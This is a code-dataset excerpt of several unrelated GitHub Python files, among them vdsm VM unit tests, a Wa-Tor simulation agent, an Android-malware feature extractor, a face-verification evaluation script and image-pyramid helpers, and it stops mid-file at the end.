vm_._pause_code = pause_code\n        periodic._kill_long_paused_vms(cif)\n        for vm_ in cif.getVMs().values():\n            expected_status = spec[vm_.id]['expected_status']\n            assert vm_.lastStatus == expected_status, \\\n                (\"Wrong status of `%s': actual=%s, expected=%s\" %\n                 (vm_.id, vm_.lastStatus, expected_status,))\n\n    @MonkeyPatch(vm, 'isVdsmImage', lambda *args: True)\n    def test_io_tune_policy_values(self):\n        with fake.VM() as testvm:\n            testvm._dom = self.dom\n            testvm._devices[hwclass.DISK] = (self.drive,)\n            assert testvm.io_tune_policy_values() == {\n                'current_values': [{\n                    'ioTune': self.iotune_low,\n                    'name': self.drive.name,\n                    'path': self.drive.path,\n                }],\n                'policy': []\n            }\n\n    @MonkeyPatch(vm, 'isVdsmImage', lambda *args: True)\n    def test_io_tune_policy_values_handle_exceptions(self):\n        with fake.VM() as testvm:\n            testvm._dom = virdomain.Disconnected(testvm.id)\n            testvm._devices[hwclass.DISK] = (self.drive,)\n            assert testvm.io_tune_policy_values() == {}\n\n    def assert_nth_call_to_dom_is(self, nth, call):\n        assert self.dom.__calls__[nth][0] == call\n\n    def assert_iotune_in_response(self, res, iotune):\n        assert res[0]['ioTune'] == iotune\n\n\nclass FakeBlockIoTuneDrive(object):\n\n    def __init__(self, name, path=None):\n        self.name = name\n        self.path = path or os.path.join('fake', 'path', name)\n        self.iotune = {}\n        self._deviceXML = ''\n\n    def getXML(self):\n        return xmlutils.fromstring('<fake />')\n\n\nclass FakeBlockIoTuneDomain(object):\n\n    def __init__(self):\n        self.iotunes = {}\n        self.callback = None\n\n    @recorded\n    def blockIoTune(self, name, flags=0):\n        ret = self.iotunes.get(name, {}).copy()\n        if self.callback is not None:\n            self.callback()\n        return ret\n\n    @recorded\n    def setBlockIoTune(self, name, iotune, flags=0):\n        self.iotunes[name] = iotune.copy()\n\n\n@expandPermutations\nclass SyncGuestTimeTests(TestCaseBase):\n\n    def _make_vm(self, virt_error=None):\n        dom = fake.Domain(virtError=virt_error)\n        return FakeVm(dom)\n\n    @MonkeyPatch(time, 'time', lambda: 1234567890.125)\n    def test_success(self):\n        vm = self._make_vm()\n        vm.syncGuestTime()\n        assert vm._dom.__calls__ == [\n            ('setTime', (), {'time': {'seconds': 1234567890,\n                                      'nseconds': 125000000}})\n        ]\n\n    @permutations([[libvirt.VIR_ERR_AGENT_UNRESPONSIVE],\n                   [libvirt.VIR_ERR_NO_SUPPORT],\n                   [libvirt.VIR_ERR_INTERNAL_ERROR]])\n    def test_swallow_expected_errors(self, virt_error):\n        vm = self._make_vm(virt_error=virt_error)\n        with self.assertNotRaises():\n            vm.syncGuestTime()\n\n\n@expandPermutations\nclass MetadataTests(TestCaseBase):\n\n    _TEST_XML = u'''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<domain type=\"kvm\" xmlns:ovirt-vm=\"http://ovirt.org/vm/1.0\">\n  <uuid>TESTING</uuid>\n  <metadata>\n    <ovirt-vm:vm>\n      <ovirt-vm:version type=\"float\">4.2</ovirt-vm:version>\n      <ovirt-vm:custom>\n        <ovirt-vm:foo>bar</ovirt-vm:foo>\n        <ovirt-vm:fizz>buzz</ovirt-vm:fizz>\n      </ovirt-vm:custom>\n    </ovirt-vm:vm>\n  </metadata>\n  <devices/>\n</domain>'''\n\n    _TEST_XML_CLUSTER_VERSION = u'''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<domain type=\"kvm\" xmlns:ovirt-vm=\"http://ovirt.org/vm/1.0\">\n  <uuid>TESTING</uuid>\n  <metadata>\n    <ovirt-vm:vm>\n      <ovirt-vm:version type=\"float\">4.2</ovirt-vm:version>\n      <ovirt-vm:clusterVersion>4.2</ovirt-vm:clusterVersion>\n      <ovirt-vm:custom>\n        <ovirt-vm:foo>bar</ovirt-vm:foo>\n        <ovirt-vm:fizz>buzz</ovirt-vm:fizz>\n      </ovirt-vm:custom>\n    </ovirt-vm:vm>\n  </metadata>\n  <devices/>\n</domain>'''\n\n    _TEST_XML_LAUNCH_PAUSED = u'''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<domain type=\"kvm\" xmlns:ovirt-vm=\"http://ovirt.org/vm/1.0\">\n  <uuid>TESTING</uuid>\n  <metadata>\n    <ovirt-vm:vm>\n      <ovirt-vm:launchPaused>true</ovirt-vm:launchPaused>\n    </ovirt-vm:vm>\n  </metadata>\n  <devices/>\n</domain>'''\n\n    _TEST_XML_IMPLIED_PIN = u'''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<domain type=\"kvm\" xmlns:ovirt-vm=\"http://ovirt.org/vm/1.0\">\n  <uuid>TESTING</uuid>\n  <devices/>\n  <cputune>\n    <vcpupin vcpu='0' cpuset='10'/>\n  </cputune>\n</domain>'''\n\n    _TEST_XML_DEDICATED = u'''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<domain type=\"kvm\" xmlns:ovirt-vm=\"http://ovirt.org/vm/1.0\">\n  <uuid>TESTING</uuid>\n  <metadata>\n    <ovirt-vm:vm>\n      <ovirt-vm:cpuPolicy>dedicated</ovirt-vm:cpuPolicy>\n    </ovirt-vm:vm>\n  </metadata>\n  <devices/>\n</domain>'''\n\n    @contextmanager\n    def test_vm(self, test_xml=None):\n        with namedTemporaryDir() as tmp_dir:\n            with MonkeyPatchScope([\n                (constants, 'P_VDSM_RUN', tmp_dir),\n                (libvirtconnection, 'get', fake.Connection),\n            ]):\n                params = {\n                    'vmId': 'TESTING',\n                    'vmName': 'nTESTING',\n                    'xml': self._TEST_XML if test_xml is None else test_xml,\n                }\n                cif = fake.ClientIF()\n                yield vm.Vm(cif, params)\n\n    def test_conf_devices_empty(self):\n        with self.test_vm() as testvm:\n            assert testvm.conf['devices'] == []\n\n    def test_custom_properties(self):\n        with self.test_vm() as testvm:\n            assert testvm._custom == \\\n                {\n                    'vmId': 'TESTING',\n                    'custom':\n                    {\n                        'foo': 'bar',\n                        'fizz': 'buzz',\n                    },\n                }\n\n    @permutations([\n        (3, 6, True,),\n        (4, 1, True,),\n        (4, 2, True,),\n        (4, 3, False,),\n        (5, 1, False,),\n    ])\n    def test_min_cluster_version(self, major, minor, result):\n        with self.test_vm(test_xml=self._TEST_XML_CLUSTER_VERSION) as testvm:\n            assert testvm.min_cluster_version(major, minor) == result\n\n    @permutations([\n        (3, 6, False,),\n        (4, 1, False,),\n        (4, 2, False,),\n        (4, 3, False,),\n        (5, 1, False,),\n    ])\n    def test_void_cluster_version(self, major, minor, result):\n        with self.test_vm(test_xml=self._TEST_XML) as testvm:\n            assert testvm.min_cluster_version(major, minor) == result\n\n    def test_launch_paused_default_false(self):\n        with self.test_vm(test_xml=self._TEST_XML) as testvm:\n            assert not testvm._launch_paused\n\n    def test_launch_paused(self):\n        with self.test_vm(test_xml=self._TEST_XML_LAUNCH_PAUSED) as testvm:\n            assert testvm._launch_paused\n\n    @permutations([\n        (_TEST_XML, cpumanagement.CPU_POLICY_NONE),\n        (_TEST_XML_IMPLIED_PIN, cpumanagement.CPU_POLICY_MANUAL),\n        (_TEST_XML_DEDICATED, cpumanagement.CPU_POLICY_DEDICATED),\n    ])\n    def test_cpu_policy(self, xml, expected):\n        with self.test_vm(test_xml=xml) as testvm:\n            assert testvm.cpu_policy() == expected\n\n    def test_manually_pinned_cpus(self):\n        with self.test_vm(test_xml=self._TEST_XML_IMPLIED_PIN) as testvm:\n            assert testvm.manually_pinned_cpus() == frozenset([0])\n\n\nclass TestQgaContext(TestCaseBase):\n\n    def test_default_timeout(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain()\n            assert testvm._dom._agent_timeout == \\\n                libvirt.VIR_DOMAIN_AGENT_RESPONSE_TIMEOUT_BLOCK\n            with testvm.qga_context():\n                assert testvm._dom._agent_timeout == \\\n                    libvirt.VIR_DOMAIN_AGENT_RESPONSE_TIMEOUT_BLOCK\n            assert testvm._dom._agent_timeout == \\\n                libvirt.VIR_DOMAIN_AGENT_RESPONSE_TIMEOUT_BLOCK\n\n    def test_reset_default_timeout(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain()\n            with testvm.qga_context(10):\n                assert testvm._dom._agent_timeout == 10\n            assert testvm._dom._agent_timeout == \\\n                libvirt.VIR_DOMAIN_AGENT_RESPONSE_TIMEOUT_BLOCK\n\n    def test_libvirtError_not_handled(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain()\n            with pytest.raises(libvirt.libvirtError):\n                with testvm.qga_context():\n                    # This exception should be propagated outside the context\n                    raise libvirt.libvirtError(\"Some error\")\n\n    def test_unlock_clean(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain()\n            with testvm.qga_context():\n                assert testvm._qga_lock.locked()\n            # Make sure the lock was released properly\n            assert not testvm._qga_lock.locked()\n\n    def test_unlock_dirty(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain()\n            with pytest.raises(libvirt.libvirtError):\n                with testvm.qga_context():\n                    assert testvm._qga_lock.locked()\n                    # Simulate error condition\n                    raise libvirt.libvirtError(\"Some error\")\n            # Make sure the lock was released properly\n            assert not testvm._qga_lock.locked()\n\n    def test_handle_lock_timeout(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain()\n            # Lock it before entering the context\n            testvm._qga_lock.acquire()\n            with pytest.raises(exception.NonResponsiveGuestAgent):\n                with testvm.qga_context(1):\n                    # We should not get here because the attempt to lock should\n                    # time out and qga_context should raise an exception.\n                    pass\n\n\nclass FakeLeaseDomain(object):\n\n    def attachDevice(self, device_xml):\n        pass\n\n    def XMLDesc(self, flags=0):\n        return '<domain/>'\n\n    def all_channels(self):\n        return []\n\n\nclass FakeLeaseIRS(object):\n    def __init__(self, conf):\n        self._conf = conf\n\n    def lease_info(self, lease):\n        return response.success(result=self._conf)\n\n\nclass FakeLeaseClientIF(object):\n    def __init__(self, conf):\n        self.irs = FakeLeaseIRS(conf)\n\n\ndef _load_xml(name):\n    test_path = os.path.realpath(__file__)\n    data_path = os.path.join(\n        os.path.split(test_path)[0], '..', 'devices', 'data')\n\n    with open(os.path.join(data_path, name), 'r') as f:\n        return f.read()\n","repo_name":"oVirt/vdsm","sub_path":"tests/virt/vm_test.py","file_name":"vm_test.py","file_ext":"py","file_size_in_byte":71249,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"16"}
+{"seq_id":"42852528615","text":"import pandas as pd\nfrom datetime import timedelta\n\n\ndef __min_to_seconds(\n    x: str,  # mm:ss string\n) -> float:\n    mins, secs = map(int, x.split(':'))\n    td = timedelta(minutes=mins, seconds=secs)\n    return td.total_seconds()\n\n\ndef __player_name_fix(\n    x: str,  # name str\n):\n    return x.split(x[0]+'.')[0]\n\n\ndef preprocess_full(\n    df: pd.DataFrame,\n) -> pd.DataFrame:\n    df = df.drop(columns=['Unnamed: 0.1','Unnamed: 0'])  # drop player numbers\n    df = df.set_index('DATE')\n    df['MIN'] = df['MIN'].apply(__min_to_seconds)\n    df['PLAYER'] = df['PLAYER'].apply(__player_name_fix)\n    df[['HOME','AWAY']] = df['MATCHUP'].str.split(' vs ', 1, expand=True)  # split matchup into home/away cols\n    df = df.drop(['MATCHUP'], axis=1)\n\n    return df\n","repo_name":"yavord/nbaModel","sub_path":"src/lib/dataloader/preprocess/nba_preprocess.py","file_name":"nba_preprocess.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9158782978","text":"# main file, runs each module\r\nimport addition_module, subtraction_module, multiplication_module, division_module\r\n\r\nprint(\"\"\"\r\nwhich of the following modules would you like to do?\r\n┍---------┒   ┍-----------┒   ┍--------------┒   ┍--------┒\r\n|addition |   |subtraction|   |multiplication|   |division|\r\n┕---------┛   ┕-----------┛   ┕--------------┛   ┕--------┛\r\n\"\"\")\r\nask = input()\r\nif ask == 'addition':\r\n    addition_module.addit()\r\nelif ask == 'subtraction':\r\n    subtraction_module.subtraction()\r\nelif ask == 'multiplication':\r\n    multiplication_module.multiplication()\r\nelif ask == 'division':\r\n    division_module.division()\r\n","repo_name":"whyammehere/adaptive_math_game","sub_path":"adaptive_math.py","file_name":"adaptive_math.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"16159957114","text":"from src.wator.WAgent import WAgent\n\n\"\"\"\nImplémentation d'un agent ayant le comportement d'un requin\n\"\"\"\nclass Shark(WAgent):\n    def __init__(self, posX, posY, data):\n        # position initiale de la particule\n        super(Shark, self).__init__(posX, posY)\n\n        # Gestation\n        self.gestationDay = data[0]\n        self.deadTime =data[1]\n        self.hungry = 0\n        self.color = \"pink\"\n\n\n    def decide(self, env):\n        \"\"\"\n        Méthode qui permet à un agent de décider de son comportement\n\n        :param env: Environement de l'agent\n        \"\"\"\n        self.gestation += 1\n        self.age += 1\n        self.change = False\n\n        if (self.age >= 2):\n            self.change = True\n            self.color = \"red\"\n\n        self.hungry +=1 # sinon il a faim\n        if(self.hungry>=self.deadTime): # et il meurt\n            env.kill(self.posX, self.posY)\n            return\n\n        positions = env.moore(self.posX, self.posY)\n        poslibres = []\n        # newPos = env.near(self.posX, self.posY)\n\n        for pos in positions :\n            if (pos[1] != None and pos[1].getType() == 1): # si le requin peut monger\n                self.hungry = 0\n                env.kill(pos[0][0], pos[0][1])\n                self.updatePosition(env, pos[0], Shark, [self.gestationDay, self.deadTime])\n                return\n            if (pos[1] == None):\n                poslibres.append(pos)\n\n        if poslibres :\n            self.updatePosition(env, poslibres[0][0], Shark, [self.gestationDay, self.deadTime])\n\n\n    def getType(self):\n        \"\"\"\n        Retourne le type de l'agent\n\n        :return: Retourne le type de l'agent\n        \"\"\"\n        return 2\n","repo_name":"lrdoz/Simulation_centre_individus","sub_path":"src/wator/Shark.py","file_name":"Shark.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2705612769","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb  6 15:20:32 2018\n\n@author: 燃烧杯\n\"\"\"\nimport os\nimport re\nfrom .smali import Smali\n\nclass Ware:\n    \n    __smali_pat =  re.compile(r\"\\.smali$\")\n    \n    def __init__(self, path, isMalware):\n        self.name = os.path.split(path)[-1]\n        smaliPath = os.path.join(path, \"smali\")\n        self.smalis = []\n        self.isMalware = isMalware\n        for root, dirs, files in os.walk(smaliPath):\n            for file in files:\n                if Ware.__smali_pat.findall(file):\n                    self.smalis.append(Smali(\n                            os.path.join(root, file)\n                            ))\n                    \n    def extractFeature(self, datafile):\n        feature = ''\n        for smali in self.smalis:\n            feature += smali.getFeature()\n        datafile.append(self.name, feature, self.isMalware)\n        \n                    \n            \n            ","repo_name":"DQinYuan/AndroidMalwareWithN-gram","sub_path":"infrastructure/ware.py","file_name":"ware.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"16"}
+{"seq_id":"71742428489","text":"from collections import deque\n\nn, l, r = map(int, input().split())\ndata = []\nfor _ in range(n):\n    data.append(list(map(int, input().split())))\n\n\ndef bfs(x, y):\n    queue = deque()\n    queue.append((x, y))\n    united = [] # 연합\n    united.append((x, y))\n    visited[x][y] = 1\n    total = data[x][y] # 연합의 인구수\n    count = 1 # 연합을 이루고 있는 칸의 개수\n    dx = [-1, 1, 0, 0]\n    dy = [0, 0, -1, 1]\n\n    while queue:\n        x, y = queue.popleft()\n        for i in range(4):\n            mx = x + dx[i]\n            my = y + dy[i]\n\n            if mx < 0 or my < 0 or mx >= n or my >= n:\n                continue\n\n            if l <= abs(data[mx][my]-data[x][y]) <= r and visited[mx][my] == 0:\n                visited[mx][my] = 1\n                united.append((mx, my))\n                queue.append((mx, my))\n                total += data[mx][my]\n                count += 1\n\n    for i, j in united:\n        data[i][j] = total // count\n\n\nanswer = 0\nwhile True:\n    visited = [[0]*n for _ in range(n)]\n    idx = 0\n    for i in range(n):\n        for j in range(n):\n            if visited[i][j] == 0:\n                bfs(i, j)\n                idx += 1\n    if idx == n*n:\n        break\n\n    answer += 1\nprint(answer)\n","repo_name":"rbgksqkr/TIL","sub_path":"이코테/3. 탐색/Q21_인구이동.py","file_name":"Q21_인구이동.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20508756560","text":"# draw an art piece\nimport turtle\n\ndef draw_sq():\n\t# get a turtule\n\tchuck = turtle.Turtle()\n\t# get it some personality\n\tchuck.shape(\"turtle\")\n\tchuck.color(\"brown\")\n\n\tfor i in range(0, 4):\n\t\tchuck.forward(100)\n\t\tchuck.right(90)\n\t\tchuck.speed(1)\n\ndef draw_circle():\n\tpink = turtle.Turtle()\n\tpink.shape(\"arrow\")\n\tpink.color(\"red\")\n\n\tpink.circle(20)\n\ndef draw_tri():\n\tringo = turtle.Turtle()\n\tringo.shape(\"turtle\")\n\tringo.color(\"black\")\n\tringo.speed(5)\n\n\tfor i in range(0, 3):\n\t\tringo.forward(70)\n\t\tringo.right(120)\n\t\tringo.forward(70)\n\ndef draw_art():\n\tcanv = turtle.Screen()\n\tcanv.bgcolor(\"white\")\n\tdraw_sq()\n\tdraw_circle()\n\tdraw_tri()\n\t# close canvas on mouse click\n\tcanv.exitonclick()\n\ndraw_art()\n\n\n\n\n\n\t","repo_name":"amrsekilly/proFound-Python","sub_path":"2a/art.py","file_name":"art.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10025732315","text":"#!/usr/bin/env python  \n# encoding: utf-8  \n\n\"\"\" \n@author: @樊厚翔\n@contact: houxiang_fan@163.com \n@file: j_one_hot_encode.py\n@time: 2019/6/25 16:08 \n\"\"\"\n\n\"\"\"单词级的one-hot编码\"\"\"\nimport numpy as np\n\nsamples = ['The cat sat on the mat.','The dog ate my homework.']\ntoken_index = {}\n\nfor sample in samples:\n    for word in sample.split():\n        if word not in token_index:\n            token_index[word] = len(token_index) + 1\n\nmax_length = 10\nresults = np.zeros(shape = (len(samples),\n                            max_length,\n                            max(token_index.values()) + 1))\n# print(results)\nfor i,sample in enumerate(samples):\n    # print(i,sample)\n    for j,word in list(enumerate(sample.split()))[:max_length]:\n        # print(j,word)\n        index = token_index.get(word)\n        # print(index,word)\n        results[i,j,index] = 1.\n# print(results)\n\n","repo_name":"masamibf/deep_leraning_with_python--note","sub_path":"j_one_hot_encode.py","file_name":"j_one_hot_encode.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"33468646444","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nimport os\nimport sys\nimport pdb\nimport argparse\nimport utils as ut\nimport numpy as np\n\nsys.path.append('../tool')\nimport toolkits\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--net', default='resnet50', type=str)\nparser.add_argument('--loss', default='softmax', choices=['softmax'], type=str)\nparser.add_argument('--aggregation', default='avg', choices=['avg'], type=str)\nparser.add_argument('--batch_size', default=4, type=int)\nparser.add_argument('--resume', default='', type=str)\nparser.add_argument('--gpu', default='0', type=str)\nparser.add_argument('--mode', default='eval', choices=['train', 'eval'], type=str)\nparser.add_argument('--benchmark', default='ijbb', choices=['ijbb', 'ijbc'], type=str)\n\nparser.add_argument('--feature_dim', default=512, choices=[512], type=int)\nparser.add_argument('--data_path', default='path_to_the_ijbb', type=str)\n\nglobal args\nargs = parser.parse_args()\n\n\ndef chunks(l, n):\n    # For item i in a range that is a length of l,\n    for i in range(0, len(l), n):\n        # Create an index range for l of n items:\n        yield l[i:i+n]\n\n\ndef get_data_path():\n    print('==> get data path, template id and media id.')\n\n    def get_datalist(s):\n        file = open(s, 'r')\n        ijbb_meta = file.readlines()\n        faceid, tid, mid = [], [], []\n        for j in ijbb_meta:\n            jsplit = j.split()\n            faceid += [jsplit[0]]\n            tid += [int(jsplit[1])]\n            mid += [int(jsplit[-1])]\n\n        faceid, template_id, media_id = map(np.array, [faceid, tid, mid])\n        return faceid, template_id, media_id\n\n    # ==> put the image paths into a long list, and break down into sublists as indicated by batch_size\n    tid_mid_path = '../meta/{}_face_tid_mid.txt'.format(args.benchmark)\n    faces, templates, medias = get_datalist(tid_mid_path)\n    facepaths = np.array([os.path.join(args.data_path, f) for f in faces])\n    return facepaths, templates, medias\n\n\ndef get_verification_label():\n    # =============================================================\n    # load meta information for template-to-template verification.\n    # tid --> template id,  label --> 1/0\n    # format:\n    #           tid_1 tid_2 label\n    # =============================================================\n    print('==> get verification template pair and label.')\n    tid_pair_path = '../meta/{}_template_pair_label.txt'.format(args.benchmark)\n    file = open(tid_pair_path, 'r')\n    meta = file.readlines()\n    Y, p1, p2 = [], [], []\n    for m in meta:\n        msplit = m.split()\n        Y += [int(msplit[-1])]\n        p1 += [int(msplit[0])]\n        p2 += [int(msplit[1])]\n    Y, p1, p2 = map(np.array, [Y, p1, p2])\n    return Y, p1, p2\n\n\ndef initialize_model():\n    # Set basic environments.\n    # Initialize GPUs\n    toolkits.initialize_GPU(args)\n\n    # ==> loading the pre-trained model.\n    import model\n    model_eval = None\n    if args.aggregation == 'avg':\n        if args.loss == 'softmax':\n            model_eval = model.Vggface2_ResNet50(mode=args.mode)\n        else:\n            raise IOError('==> unknown loss type.')\n    else:\n        raise IOError('==> unknown aggregation mode.')\n\n    print('test: {}_{}_{} on {} benchmark.'.format(args.net, args.aggregation, args.loss, args.benchmark))\n\n    if args.resume:\n        if os.path.isfile(args.resume):\n            model_eval.load_weights(args.resume, by_name=True)\n            print('==> successfully loaded the model {}'.format(args.resume))\n        else:\n            raise IOError('==> can not find the model to load {}'.format(args.resume))\n    return model_eval\n\n\ndef image_encoding(model, facepaths):\n    print('==> compute image-level feature encoding.')\n    num_faces = len(facepaths)\n    face_feats = np.empty((num_faces, args.feature_dim))\n    imgpaths = facepaths.tolist()\n    imgchunks = list(chunks(imgpaths, args.batch_size))\n\n    for c, imgs in enumerate(imgchunks):\n        im_array = np.array([ut.load_data(path=i, shape=(224, 224, 3), mode='eval') for i in imgs])\n        f = model.predict(im_array, batch_size=args.batch_size)\n        start = c * args.batch_size\n        end = min((c + 1) * args.batch_size, num_faces)\n        face_feats[start:end] = f\n        if c % 500 == 0:\n            print('-> finish encoding {}/{} images.'.format(c*args.batch_size, num_faces))\n    return face_feats\n\n\ndef template_encoding(templates, medias, img_norm_feats):\n    # ==========================================================\n    # 1. face image --> l2 normalization.\n    # 2. compute media encoding.\n    # 3. compute template encoding.\n    # 4. save template features.\n    # ==========================================================\n    print('==> compute template-level feature encoding.')\n\n    uq_temp = np.unique(templates)\n    num_temp = len(uq_temp)\n    tmp_feats = np.empty((num_temp, args.feature_dim))\n\n    for c, uqt in enumerate(uq_temp):\n        (ind_t,) = np.where(templates == uqt)\n        face_norm_feats = img_norm_feats[ind_t]\n        faces_media = medias[ind_t]\n        uqm, counts = np.unique(faces_media, return_counts=True)\n        media_norm_feats = []\n\n        for u,ct in zip(uqm, counts):\n            (ind_m,) = np.where(faces_media == u)\n            if ct < 2:\n                media_norm_feats += [face_norm_feats[ind_m]]\n            else:\n                media_norm_feats += [np.sum(face_norm_feats[ind_m], 0, keepdims=True)]\n\n        media_norm_feats = np.array(media_norm_feats)\n        media_norm_feats = media_norm_feats / np.sqrt(np.sum(media_norm_feats ** 2, -1, keepdims=True))\n        template_norm_feats = np.sum(media_norm_feats, 0)\n        tmp_feats[c] = template_norm_feats\n        if c % 500 == 0:\n            print('-> finish encoding {}/{} templates.'.format(c, num_temp))\n    return tmp_feats\n\n\ndef verification(unique_templates, tmp_feats, p1, p2):\n    print('==> compute template verification results.')\n    # ==========================================================\n    #         Loading the Template-specific Features.\n    # ==========================================================\n    uq_temp = unique_templates\n    score = np.zeros((len(p1),))\n    # ==========================================================\n    #         Compute set-to-set Similarity Score.\n    # ==========================================================\n    total_pairs = np.array(range(len(p1)))\n    batchsize = 256\n    sublists = [total_pairs[i:i + batchsize] for i in range(0, len(p1), batchsize)]\n    num_sublists = len(sublists)\n\n    for c, s in enumerate(sublists):\n        t1 = p1[s]\n        t2 = p2[s]\n        ind1 = np.squeeze(np.array([np.where(uq_temp == j) for j in t1]))\n        ind2 = np.squeeze(np.array([np.where(uq_temp == j) for j in t2]))\n\n        inp1 = tmp_feats[ind1]\n        inp2 = tmp_feats[ind2]\n\n        v1 = inp1 / np.sqrt(np.sum(inp1 ** 2, -1, keepdims=True))\n        v2 = inp2 / np.sqrt(np.sum(inp2 ** 2, -1, keepdims=True))\n\n        similarity_score = np.sum(v1 * v2, -1)\n        score[s] = similarity_score\n        if c % 500 == 0: print('-> finish {}/{} pair verification.'.format(c, num_sublists))\n    return score\n\n\ndef compute_ROC(labels, scores, roc_path):\n    print('==> compute ROC.')\n    import sklearn.metrics as skm\n    from scipy import interpolate\n    fpr, tpr, thresholds = skm.roc_curve(labels, scores)\n    fpr_levels = [1e-5, 1e-4, 1e-3, 1e-2, 1e-1]\n    f_interp = interpolate.interp1d(fpr, tpr)\n    tpr_at_fpr = [f_interp(x) for x in fpr_levels]\n    roc_txt = roc_path[:-3] + 'txt'\n    file = open('../result/{}'.format(roc_txt), 'w')\n    for (far, tar) in zip(fpr_levels, tpr_at_fpr):\n        print('TAR @ FAR = {} : {}'.format(far, tar))\n        file.write('TAR @ FAR = {}: {}\\n'.format(far, tar))\n    file.close()\n\n\nif __name__ == '__main__':\n    facepaths, templates, medias = get_data_path()\n    groundtruth, template_1, template_2 = get_verification_label()\n    unique_templates = np.unique(templates)\n\n    model_eval = initialize_model()\n    face_feats = image_encoding(model_eval, facepaths)\n    template_feats = template_encoding(templates, medias, face_feats)\n    score = verification(unique_templates, template_feats, template_1, template_2)\n\n    score_path = args.resume.split(os.sep)[-2] + '_dim{}_scores.npy'.format(args.feature_dim)\n    np.save('../result/{}'.format(score_path), score)\n    compute_ROC(groundtruth, score, score_path)\n","repo_name":"WeidiXie/Keras-VGGFace2-ResNet50","sub_path":"src/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":8420,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"16"}
+{"seq_id":"33673783151","text":"num = int(input('Enter a positive number. Enter 0 to end: '))\n\noutput = 0\nfor i in range(1, num+1):\n    if num % i == 0:\n        print(i)\n        output = output + i\n\nprint('The sum of divisors is:'+ str(output))\n\n","repo_name":"grijdas/learning-python","sub_path":"Assignment2.py","file_name":"Assignment2.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74409760009","text":"import math\nimport cv2\nimport os\nimport numpy as np\nfrom scipy.ndimage.filters import maximum_filter, convolve1d\nfrom scipy.interpolate import interp2d\nimport matplotlib.pyplot as plt\n\ndef gaussian(n=5, sigma=1):\n\n    x = range(-int(n/2), int(n/2)+1)\n    # raspakivanje liste\n    x_osa = [*x]\n    # prolazak kroz svaki element liste\n    f = [1/(sigma*math.sqrt(2*math.pi))*math.exp(-float(el)**2/(2*sigma**2)) for el in x]\n\n    return f, x_osa\n\n\ndef im_norm(im):\n    im_n = (im-im.min())/(im.max()-im.min())\n    return im_n\n\n\ndef im_pyr_decomp(im, N):\n\n    size_vec  = im.shape\n    red_faktor = 2**N\n    add_size = np.flip([int((np.ceil(el / red_faktor) * red_faktor - el)) for el in im.shape])\n    [v, s] = im.shape\n    opim = np.zeros((add_size[1] + v, add_size[0] + s))\n    opim[0: v, 0: s] = im\n    opim[v + 1: v + add_size[1], :] = opim[v:v-add_size[1]+1:-1, :]\n    opim[:, s + 1: s + add_size[0]] = opim[:, s:s - add_size[0] + 1:-1]\n    im = opim\n\n\n\n    # Funkcija pravi Gausovu i Laplasovu piramidu od N nivoa od slike im\n    GPyr = []\n    LPyr = []\n    for i in range(N):\n        GPyr.append(im)\n        g = cv2.pyrDown(im, borderType=cv2.BORDER_REPLICATE)\n        g_up = cv2.pyrUp(g, cv2.BORDER_REPLICATE)\n\n\n        l = im - g_up\n        LPyr.append(l)\n        im = g\n    Res = im\n    return LPyr, GPyr, Res, size_vec\n\n\ndef im_pyr_recon(LPyr, Res, size_vec):\n    # Funkcija rekonstruise sliku na osnovu Laplasove piramide i reziduala\n\n    # dubina razlaganja\n    N = len(LPyr)\n    for i in range(N, 0, -1):\n\n        Res = cv2.pyrUp(Res, cv2.BORDER_REFLECT)+LPyr[i-1]\n\n    Res = Res[0:size_vec[0], 0:size_vec[1]]\n    im_rec = Res\n    return im_rec\n\ndef data_fname_split(fn, param='fname'):\n    f1 = os.path.split(fn)\n    f2 = os.path.splitext(f1[1])\n    if param=='fname':\n        res = f2[0]\n    elif param=='ext':\n        res = f2[1]\n    elif param=='path':\n        res = f1[0]\n\n    return res\n\ndef read_raw(im_fname,crop_flag=0, preview_flag=0):\n\n    hdr = []\n    l = os.stat(im_fname).st_size # size in bytes\n    ext = data_fname_split(im_fname,'ext')\n    L_hdr = 0\n    if ext in ['.fxd','.FXD','.raw','.RAW','']:\n        if l==13824000:  #Pixium 3543 EZ, indeks 7\n            im_size = [2880, 2400]\n            #Mode informacije\n            DetInfo = {'Index':7, 'Name': 'Trixell3543EZ', 'Type': 'DR', 'LinMax':65535, 'PixelSize':0.148}\n        elif l==16588800:  #Pixium 4143 ili 4343, indeks 3\n            im_size = [2880, 2880]\n            # Mode informacije\n            DetInfo = {'Index': 3, 'Name': 'Trixell4143/4343EZ', 'Type': 'DR', 'LinMax': 